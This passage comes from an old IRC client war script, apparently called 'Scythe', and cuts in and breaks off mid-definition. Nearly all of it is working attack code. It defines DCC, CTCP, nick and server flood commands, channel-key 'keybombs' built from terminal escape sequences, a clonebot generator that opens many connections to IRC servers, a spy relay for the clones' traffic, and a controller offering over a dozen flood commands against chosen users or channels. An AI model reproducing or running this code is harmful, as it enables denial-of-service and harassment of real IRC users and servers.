  /sxecho I have DCC autoget bombed $0\.
}

alias dccflood {
  quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)
  /sxecho I have DCC flooded $0\.
}

alias dcctsunami {
  quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  sxecho A DCC TSUNAMI has been sent to $0\.
}

alias ctcpflood {
  /repeatcmd 18 CTCP $0 CLIENTINFOCLIENTINFO
  /sxecho CTCP CLIENTINFO flooded $0\, you might get a lot of replies.
}

alias nickflood {
  EVAL ^assign OLDNICK $N
    @ NFCOUNTER = 0
    EVAL @ NFCOUNT = $0
    while (NFCOUNTER < NFCOUNT) {
	 @ NFCOUNTER = NFCOUNTER + 1
	 EVAL quote NICK $randcrap(9)
    }
    ^assign -NFCOUNT
    ^assign -NFCOUNTER
  EVAL //nick $OLDNICK
  ^assign -OLDNICK
}

alias servflood {
  if (rmatch($0 *.*)) {
    @ SFLOODC = 0
    EVAL @ SFLOODMAX = $1
    while (SFLOODC < SFLOODMAX) {
	 @ SFLOODC = SFLOODC + 1
	^set display off
	 EVAL ^assign SERVPID $connect($0 6667)
	^set display on
	 EVAL //^dcc raw $SERVPID $0 SERVER $TSU$TSU # # :$encode($rand(9999))$rand(9)
	 //^dcc close raw $SERVPID
	 }
    ^assign -SERVPID
    ^assign -SFLOODC
    ^assign -SFLOODMAX
    /sxecho Server flooded $0 $1 times.
    }
    {/sxecho /servflood <server> <count>.}
}

### Channel Keybombs

alias kdie //mode $C +k #8[?3\;5h\(0
alias kfont //mode $C +k \(0
alias kinvert //mode $C +k [?3\;5h
alias ksz //mode $C +k **B00
alias kcls //mode $C +k [2J
alias kfire //mode $C +k [41\;5mFIRE![m[7m
alias ksatan //mode $C +k [41\;5m!!S4T4N!![m[7m
alias kreset //mode $C +k 
alias ktsunami //mode $C +k [H[J[7m

### Clonebot Control Handlers

alias ck /clonebots kill all

alias clone_window {
  if ([$CLONEWINDOW]!=[ON]) {
    ^assign CLONEWINDOW ON
	clear
    ^window new name Clones
    ^window scroll on
    ^window shrink 7
    ^set hold_mode off
    ^window goto 2
     cecho Clonebot control window has been activated.
  }
  {
	^assign CLONEWINDOW OFF
	 clear
	^window refnum Clones
	 wait -CMD window kill
	 sxecho Clonebot control window has been deactivated.
  }
}

alias cecho {^xecho -window Clones [CLONES] $0-}

alias cb.getcc {
   ^assign IN_CC1 $"[S/X] Number of clonebots to create: "
   if (IN_CC1 > 0) {
	  ^assign IN_CC $IN_CC1
	  ^assign -IN_CC1
   }
   {^cb.getcc}
}

alias cb {
   ^cb.getcc
   ^assign IN_CBSRV $"[S/X] Server to use (ENTER for random): "
   ^assign IN_CNICK $"[S/X] First part of clonebot nicks (ENTER for random):"
   ^assign IN_CUNAME $"[S/X] Username to TRY to signon under (ENTER for junk):"
   ^assign IN_CIRCNAME $"[S/X] Description (IRCNAME) (ENTER for none): "
   if ([$IN_CBSRV]==[]) {^assign IN_CBSRV random}
   if ([$IN_CNICK]==[]) {^assign IN_CNICK random}
   if ([$IN_CUNAME]==[]) {^assign CLONEUNAME NONE}
   {^assign CLONEUNAME $IN_CUNAME}
   /clonebots clone $IN_CC $IN_CBSRV $IN_CNICK $IN_CIRCNAME
   ^assign CLONEUNAME NONE
   ^assign -IN_CC
   ^assign -IN_CBSRV
   ^assign -IN_CNICK
   ^assign -IN_CIRCNAME
   ^assign -IN_CUNAME
}

alias clonhelp {
  sxecho +----------------+ Scythe Clonebots Generator Help +----------------+
  sxecho  /clonebots <command>, where command is:
  sxecho    clone <count> <server/random> <nick-prefix/random> [<IRCName>]
  sxecho    status, kill <bot#/all>, whois <bot nick>
  sxecho  CLONE creates <count> new clonebots on <server>.  Substituting
  sxecho  'random' for the server name causes the servers to be chosen from
  sxecho  CSERV array at the start of the script. Edit this array if you want
  sxecho  to change the choices.  Substituting 'random' for the nick-prefix
  sxecho  causes the bots to have random garbage nick.
  sxecho  STATUS displays the bots online, their servers, sockets, etc.
  sxecho  KILL disconnects a clonebot.  Kill 'all' disconnects all clonebots
  sxecho  and resets the clonebot counter.
  sxecho  WHOIS displays information about one of your bots from it's nick.
  sxecho  Type '/assign CLONEUNAME <username>' to set a special username for
  sxecho  the clonebots to signon under (setting to NONE defaults to random).
  sxecho  '/assign CLONEPORT <port#>' sets the port, default is 6667.
  sxecho  /CB provides a user-friendly prompted interface to this command.
  sxecho  /CK is a shortcut to /clonebots kill all.
  sxecho  To control the clonebots, use the /CLONE command.
  sxecho +-------------------------------------------------------------------+
}

on ^dcc_raw "% % C*" {
   if ([$CLONESOCKET[$CLONENUM[$0]]] == [$0]) {
	  cecho Clonebot #$CLONENUM[$0] \($CLONENICKS[$CLONENUM[$0]]\) has been disconnected by server $1.
	 ^assign -CLONES[$CLONENUM[$0]]
	 ^assign -CLONESOCKET[$CLONENUM[$0]]
	 ^assign -CLONESERV[$CLONENUM[$0]]
	 ^assign -CLONENICKS[$CLONENUM[$0]]
	 ^assign -CLONESPY[$CLONENUM[$0]]
	  EVAL ^on dcc_raw - "$0 $1 D *"
	 ^assign -CLONENUM[$0]
   }
}

alias cspyadd {
    if ([$index($1 $CLONESPY[$0])]==-1) {^assign CLONESPY[$0] $1${CLONESPY[$0]}}
}

alias cspyrm {/EVAL ^assign CLONESPY[$0] $strip($1 $CLONESPY[$0])}

alias clonespyset {
  if ([$CLONES[$0]] == [ONLINE]) {
	 if (rmatch($1 PU*)) {^cspyadd $0 P}
	 if (rmatch($1 -PU*)) {^cspyrm $0 P}
	 if (rmatch($1 PR*)) {^cspyadd $0 R}
	 if (rmatch($1 -PR*)) {^cspyrm $0 R}
	 if (rmatch($1 NO*)) {^cspyadd $0 N}
	 if (rmatch($1 -NO*)) {^cspyrm $0 N}
	 if (rmatch($1 MO*)) {^cspyadd $0 O}
	 if (rmatch($1 -MO*)) {^cspyrm $0 O}
	 if (rmatch($1 K*)) {^cspyadd $0 K}
	 if (rmatch($1 -K*)) {^cspyrm $0 K}
	 if (rmatch($1 J*)) {^cspyadd $0 J}
	 if (rmatch($1 -J*)) {^cspyrm $0 J}
	 if (rmatch($1 NI*)) {^cspyadd $0 I}
	 if (rmatch($1 -NI*)) {^cspyrm $0 I}
	 if (rmatch($1 MI*)) {^cspyadd $0 M}
	 if (rmatch($1 -MI*)) {^cspyrm $0 M}
	 if (rmatch($1 C*)) {^cspyadd $0 C}
	 if (rmatch($1 -C*)) {^cspyrm $0 C}
    }
    {/cecho Error: Clone #$0, no such clone.}
}

alias cspylevs {
  if ([$CLONESPY[$0]] == [_]) {^assign FUNCTION_RETURN NONE}
  {
	 if (index(M $CLONESPY[$0]) != -1) {^assign SLEVS MISC ${SLEVS}}
	 if (index(I $CLONESPY[$0]) != -1) {^assign SLEVS NICK ${SLEVS}}
	 if (index(J $CLONESPY[$0]) != -1) {^assign SLEVS JOIN/LEAVE/SIGNOFF ${SLEVS}}
	 if (index(K $CLONESPY[$0]) != -1) {^assign SLEVS KICK ${SLEVS}}
	 if (index(O $CLONESPY[$0]) != -1) {^assign SLEVS MODE ${SLEVS}}
	 if (index(N $CLONESPY[$0]) != -1) {^assign SLEVS NOTICE ${SLEVS}}
	 if (index(R $CLONESPY[$0]) != -1) {^assign SLEVS PRIVATE ${SLEVS}}
	 if (index(P $CLONESPY[$0]) != -1) {^assign SLEVS PUBLIC ${SLEVS}}
	 if (index(C $CLONESPY[$0]) != -1) {^assign SLEVS CTCP ${SLEVS}}
	 ^assign FUNCTION_RETURN $SLEVS
	 ^assign -SLEVS
   }
}

alias cshelp {
    sxecho +-----------+  Scythe DCC RAW Clonebot Spy Controller  +-----------+
    sxecho  Usage: /clonespy <clone#/all> <level(s)/all>, or
    sxecho         /clonespy <clone#/all> to see status.
    sxecho  Levels: ALL(sets all levels) PUblic PRivate NOtice MOde Kick
    sxecho          Join/leave/signoff NIck MIsc Ctcp NONE \(removes all levels\)
    sxecho  Only the letters shown capitalized are necessary.  <level> adds a
    sxecho  level, -<level> removes.
    sxecho  The Misc level is for anything significant that isn't covered by
    sxecho  the other levels.  Right now this is only used for who lists.
    sxecho  /clone <clone#/all> who #channel' will get you a who list if you
    sxecho  have Misc set.
    sxecho  Be careful when flooding with spy modes set, or the clones may
    sxecho  report the flood right back to you.
    sxecho +------------------------------------------------------------------+
}

alias clonespy {
  if ([$0]) {
	if ([$0] == [ALL]) {/foreach CLONES VV {/clonespy $VV $1-}}
	{
	   if ([$CLONES[$0]] == [ONLINE]) {
		if ([$1] == [ALL]) {
		  ^assign CLONESPY[$0] PRNOKJIMC
		   EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-}
		}
		{
		  if ([$1] == [NONE]) {
		    ^assign CLONESPY[$0] _
			EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *"
		  }
		  {
			^clonespyset $0 $1
			 EVAL ^on ^dcc_raw "$CLONESOCKET[$0] $CLONESERV[$0] D *" {/clonespyparse $0-}
		  }
		}
		/cecho Clone #$0 spy levels now: $cspylevs($0)
	   }
	  {/cecho Error: Clone #$0, no such clone.}
	 }
    }
    {/cshelp}
  if ([$2]) {/clonespy $0 $2-}
}

alias clonespyparse.messageparse {
  if ([$4] == [PRIVMSG]) {
    if (rmatch($6- **)) {
	  if (index(C $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] CTCP "$strip(: $6-)" from $nickonly($strip(: $3)) to $5}
    }
    {
	  if (rmatch($5 #*)) {
		if (index(P $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] <$nickonly($strip(: $3)):$5> $strip(: $6-)}
	  }
	  {
		if (index(R $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] *$nickonly($strip(: $3))* $strip(: $6-)}
	  }
    }
  }
  if ([$4] == [NOTICE]) {
    if (rmatch($6- **)) {
	  if (index(C $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] CTCP "$strip(: $6-)" reply from $nickonly($strip(: $3))}
    }
    {
	  if (rmatch($5 #*)) {
		if (index(P $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3)):$5\- $strip(: $6-)}
	  }
	  {
		if (index(N $CLONESPY[$CN]) != -1) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] -$nickonly($strip(: $3))- $strip(: $6-)}
	  }
    }
  }
}

alias clonespyparse {
  if ([$CLONES[$CLONENUM[$0]]] == [ONLINE]) {
	 EVAL @ CN = $CLONENUM[$0]
	 if (rmatch($3 *PING*)) {//^dcc raw $0 $1 PONG :$CLONESERV[$CN]}
	^clonespyparse.messageparse $0-
	 if ((index(I $CLONESPY[$CN]) != -1)&&([$4] == [NICK])) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) is now known as $strip(: $5)}
	 if (([$4] == [JOIN])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $strip(: $3) has joined channel $strip(: $5)}
	 if (([$4] == [MODE])&&(index(O $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] Mode change "$strip(: $6-)" on channel $5 by $nickonly($strip(: $3))}
	 if (([$4] == [QUIT])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] Signoff: $nickonly($strip(: $3)) \($strip(: $5-)\)}
	 if (([$4] == [PART])&&(index(J $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $nickonly($strip(: $3)) has left channel $strip(: $5)}
	 if (([$4] == [KICK])&&(index(K $CLONESPY[$CN]) != -1)) { 
	   if ([$6] == [$CLONENICKS[$CN]]) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)}
	   {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6 has been kicked off channel $5 by $nickonly($strip(: $3)) \($strip(: $7-)\)}
	 }
    if (([$4] == [352])&&(index(M $CLONESPY[$CN]) != -1)) {/xecho -window Clones [${CN}:${CLONENICKS[$CN]}] $6    $10       $11  $7@$8 \($strip( $13-)\)}
    ^assign -CN
  }
}

alias killclone {
  if ([$CLONES[$0]] == [ONLINE]) {
    //^dcc close raw $CLONESOCKET[$0]
    cecho Clonebot #$0 \($CLONENICKS[$0]\) disconnected.
	EVAL ^on dcc_raw - "$CLONESOCKET[$0] $CLONESERV[$0] D *"
	EVAL ^assign -CLONENUM[$CLONESOCKET[$0]]
    ^assign -CLONESOCKET[$0]
    ^assign -CLONESERV[$0]
    ^assign -CLONES[$0]
    ^assign -CLONENICKS[$0]
    ^assign -CLONESPY[$0]
  }
  {/cecho Error: Clone #$0, no such clone.}
}

alias clonesend {
   if ([$CLONES[$0]] == [ONLINE]) {//^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] $1-}
   {/cecho Error: Clone #$0, no such clone.}
}

alias clonenick {
   if ([$CLONES[$0]] == [ONLINE]) {
	 //^dcc raw $CLONESOCKET[$0] $CLONESERV[$0] NICK $1
	 ^assign CLONENICKS[$0] $1
   }
   {/cecho Error: Clone #$0, no such clone.}
}

alias incserv {
   @ SERVCOUNT = SERVCOUNT + 1
   if (!rmatch($CSERV[$SERVCOUNT] *.*)) {/EVAL @ SERVCOUNT = 1}
}

alias newclone {
  ^set display off
  if ([$0] == [RANDOM]) {
	/EVAL ^assign CSRV $CSERV[$SERVCOUNT]
	^incserv
  }
  {/EVAL ^assign CSRV $0}
   EVAL ^assign CLONESOCKET[${NUMCLONES+1}] $connect($CSRV $CLONEPORT)
  ^set display on
   if ([$CLONESOCKET[${NUMCLONES+1}]] > 0) {
	 @ NUMCLONES = NUMCLONES + 1
	 EVAL ^assign CLONESERV[$NUMCLONES] $CSRV
	 if ([$CLONEUNAME] == [NONE]) {/EVAL ^assign CUN $randcrap(8)}
	 {/EVAL ^assign CUN $CLONEUNAME}
	 if ([$2]) {//^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$2-}
	 {//^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV USER $CUN $HOSTROOT $CSRV :$randcrap($rand(8)) $randcrap($rand(8))}
	 if ([$1]) {
	    if ([$1] == [RANDOM]) {
		  EVAL ^assign JUNK2 $rand(3)
		  if ([$JUNK2] == 0) {/EVAL ^assign CNICK $randcrap(9)}
		  if ([$JUNK2] == 1) {/EVAL ^assign CNICK $randcrap(7)}
		  if ([$JUNK2] == 2) {/EVAL ^assign CNICK $randcrap(5)}
		  if ([$JUNK2] == 3) {/EVAL ^assign CNICK $randcrap(4)}
		  ^assign -JUNK2
	    }
	    {/EVAL ^assign CNICK $randcrap(1)$NUMCLONES$1}
	 }
	 {/EVAL ^assign CNICK $randcrap(9)}
	 //^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV NICK $CNICK
	 //^dcc raw $CLONESOCKET[$NUMCLONES] $CSRV MODE $CNICK +i
	 ^assign CLONENICKS[$NUMCLONES] $CNICK
	 ^assign CLONES[$NUMCLONES] ONLINE
	 ^assign CLONESPY[$NUMCLONES] _
	  EVAL @ CLONENUM[$CLONESOCKET[$NUMCLONES]] = $NUMCLONES
	  EVAL cecho Clone #$NUMCLONES on $CSRV\ \($CNICK\) created.
	  ^assign -CNICK
	  ^assign -CUN
	}
	{
	   cecho Clonebot connection to ${CSRV} failed.
	   ^assign -CLONESOCKET[${NUMCLONES+1}]
	}
   ^assign -CSRV
}

alias clonewhois {
  ^assign FOUNDIT NO
   foreach CLONES XX {
	 if ([$0] == [$CLONENICKS[$XX]]) {
	    ^assign FOUNDIT YES
		cecho $0 is clonebot #$XX\, socket $CLONESOCKET[$XX]\ on server $CLONESERV[$XX]\
	 }
   }
   if ([$FOUNDIT] != [YES]) {/cecho Error: $0, no such clone.}
   ^assign -FOUNDIT
}

alias clonedoaction {
  if ([$1] == [JOIN]) {
	if ([$2]) {
	   if (ischannel($2)) {/clonesend $0 JOIN $2-}
	   {/clonesend $0 JOIN #$2-}
	}
	{/clonesend $0 JOIN $C}
  }
  if ([$1] == [LEAVE]) {
	if ([$2]) {
	   if (ischannel($2)) {/clonesend $0 PART $2-}
	   {/clonesend $0 PART #$2-}
	}      
	{/clonesend $0 PART $C}
  }
  if ([$1] == [MODE]) {/clonesend $0 MODE $2 $3-}
  if ([$1] == [KICK]) {/clonesend $0 KICK $2 $3 :$4-}
  if ([$1] == [MSG]) {/clonesend $0 PRIVMSG $2 :$3-}
  if ([$1] == [SAY]) {/clonesend $0 PRIVMSG $C :$2-}
  if ([$1] == [WHO]) {
	if ([$2]) {
	   if (ischannel($2)) {/clonesend $0 WHO $2-}
	   {/clonesend $0 WHO #$2-}
	}
	{/clonesend $0 WHO $C}
  }
  if ([$1] == [CTCP]) {/clonesend $0 PRIVMSG $2 :$3-}
  if ([$1] == [ME]) {/clonesend $0 PRIVMSG $2 :ACTION $3-}
  if ([$1] == [NICK]) {/clonenick $0 $2}
  if ([$1] == [INVITE]) {/clonesend $0 INVITE $2 $3}
  if ([$1] == [NICKPREFIX]) {/clonenick $0 $2$0}
  if ([$1] == [TSUNAMI]) {/repeatcmd 4 clonesend $0 NOTICE $2 :$TSU}
  if ([$1] == [DCCTSUNAMI]) {
	 clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
	 clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
	 clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
	 clonesend $0 PRIVMSG $2 :DCC SEND $TSU$rand(9) $rand(9) $rand(9)
  }
  if ([$1] == [PONGFLOOD]) {/repeatcmd 4 EVAL /clonesend $0 PONG $TSU :$2}
  if ([$1] == [DCCFLOOD]) {
	 clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)
	 clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)
	 clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)
	 clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)
  }
  if ([$1] == [CTCPFLOOD]) {/repeatcmd 15 clonesend $0 PRIVMSG $2 :CLIENTINFOCLIENTINFO}
  if ([$1] == [PINGFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING}
  if ([$1] == [VERSIONFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION}
  if ([$1] == [NICKFLOOD]) {
	EVAL ^assign TRASH1 $randcrap(2)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonesend $0 NICK $TRASH1$rand(9999999)
	EVAL clonenick $0 $TRASH1$rand(9999999)
	^assign -TRASH1
  }
  if ([$1] == [BOTKILL]) {/repeatcmd 20 clonesend $0 PRIVMSG $2 :help}
  if ([$1] == [FINGERFLOOD]) {/repeatcmd 4 clonesend $0 PRIVMSG $2 :FINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGER}
  if ([$1] == [RAWIRC]) {/clonesend $0 $2-}
  if ([$1] == [FLOOD]) {/repeatcmd 12 clonesend $0 PRIVMSG $2 :$3-}
  if ([$1] == [RANDNICK]) {/clonenick $0 $randcrap(9)}
  if ([$1] == [SEDFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED}
  if ([$1] == [JUNKFLOOD]) {
	 EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
	 EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
	 EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
	 EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
	 EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR
  }
  if ([$1] == [IDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :iDCC HELP}
  if ([$1] == [GDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :GDCC SEND #1}
  if ([$1] == [XDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :XDCC HELP}
}

alias clone {
   if ([$0]) {
	if ([$0] == [ALL]) {
	   if ([$1] != [NICK]) {
		  foreach CLONES XY {/clonedoaction $XY $1-}
	   }
	   {/cecho Error: All the bots can't change their nick to the same thing, use nickprefix.}
	}
	{
	   if ([$0] != [HELP]) {/clonedoaction $0 $1-}
	   {/clone}
	}
   }
   {/cchelp}
}

alias cchelp {
  sxecho +------------------+  Scythe Clonebot Controller +----------------+
  sxecho Usage: /clone <clone#/all> <command>, where command is:
  sxecho   join [<channel>]               - Join a channel \(or current\)
  sxecho   leave [<channel>]              - Leave a channel \(or current\)
  sxecho   mode <channel> <mode>          - Do a mode change
  sxecho   msg <nick/channel> <msg>       - Private message
  sxecho   say <msg>                      - Message to current channel
  sxecho   me <channel> <action>          - Do an action in <channel>
  sxecho   nick <nick>                    - Change nickname
  sxecho   nickprefix <nick-prefix>       - Change nick using prefix system
  sxecho   randnick                       - Change to a random nickname
  sxecho   tsunami <nick/channel>         - Big, annoying flood
  sxecho   dccflood <nick>                - Tons of DCC CHAT requests
  sxecho   ctcpflood <nick/channel>       - CTCP CLIENTINFO flood
  sxecho   pingflood <nick/channel>       - CTCP PING flood
  sxecho   versionflood <nick/channel>    - CTCP VERSION flood
  sxecho   nickflood                      - Rapid trash nick changing
  sxecho   botkill <nick>                 - Flood of 'help'
  sxecho   fingerflood <nick/channel>     - CTCP FINGER flood
  sxecho   rawirc <text>                  - Send <text> directly to server
  sxecho   flood <nick/channel> <msg>     - Flood with <msg>
  /pause2
  sxecho   sedflood <nick/channel>        - [ENCRYPTED MESSAGE] flood
  sxecho   idccflood/xdccflood/gdccflood <nick> - DCC request floods
  sxecho   ctcp <nick/channel> <msg>      - Send CTCP
  sxecho   invite <nick> <channel>        - Invite <nick> to <channel>
  sxecho   dcctsunami <nick>              - DCC tsunami <nick>
  sxecho   pongflood <nick>               - PONG tsunami <nick>
  sxecho   who [<#channel>]               - WHO list, only works with spy
  sxecho                                    level 'MISC' set.
  sxecho   junkflood <nick/channel>       - Flood of ASCII trash
  sxecho  Use /clonespy for setting spy levels.  /clonespy for help.
  sxecho +-----------------------------------------------------------------+
}

alias clonebots {
  if ([$0]) {
    if (match($0 STATUS CLONE KILL WHOIS WINDOW)) {
	 if ([$0] == [WHOIS]) {/clonewhois $1}
	 if ([$0] == [STATUS]) {
	   ^assign CLONESON NO
	    foreach CLONES XX {
		  ^assign CLONESON YES
		   cecho Clone #$XX - Socket:$CLONESOCKET[$XX]  Server:$CLONESERV[$XX]  Nick:$CLONENICKS[$XX]
	    }
	    if ([$CLONESON] == [NO]) {/cecho There are no clonebots online.}
	    ^assign -CLONESON
	 }
	 if ([$0] == [CLONE]) {/EVAL repeatcmd $1 newclone $2 $3 $4-}
	 if ([$0] == [WINDOW]) {/clone_window}
	 if ([$0] == [KILL]) {
	   if ([$1] == [ALL]) {
		foreach CLONES XZ {/killclone $XZ}
		 @ NUMCLONES = 0
		^assign SPYSTATE OFF
		 cecho All clonebots have been disconnected.
	   }
	   {/killclone $1}
	 }
    }
    {/clonhelp}
  }
  {/clonhelp}
}

alias opclones {
  ^assign OPPEDACLONE NO
    foreach CLONENICKS XX {
	  EVAL ^assign CNIX1 $CLONENICKS[$XX] ${CNIX1}
    }
    ^on ^who "*" {
	 if ((match($1 $CNIX1))&&(!rmatch($2 *@*))) {
	    EVAL ^assign CNIX2 $1 ${CNIX2}
	    ^assign OPPEDACLONE YES
	 }
    }
    ^who $C
	wait
	if ([$OPPEDACLONE] != [NO]) {/op $CNIX2}
	{/cecho There are no unopped clonebots on $C\.}
    ^on who - "*"
    ^assign -CNIX1
    ^assign -CNIX2
    ^assign -OPPEDACLONE
}

### Collision Killer Bots (by Vassago and CKeeper)

alias collbots {/colbots $0-}
alias collbots.killons {/colbots.killons $0-}
alias collbots.make {/colbots.make $0-}
alias colbots {/cbots $0-}

alias colbots.killons {
    EVAL ^on #dcc_raw 65 - "$0 $1 D % 433 *Nickname is already*"
    EVAL ^on #dcc_raw 65 - "$0 $1 C*"
}

alias colbots.make {
  ^set display off
  EVAL ^assign CBSOCKET $connect($0 $1)
  ^set display on
  if (CBSOCKET > 0) {
    ^assign COLLBOTS[$CBSOCKET] $2
	 EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 D % 433 *Nickname is already*" {
	    EVAL ^timer 2 //^dcc close raw $0
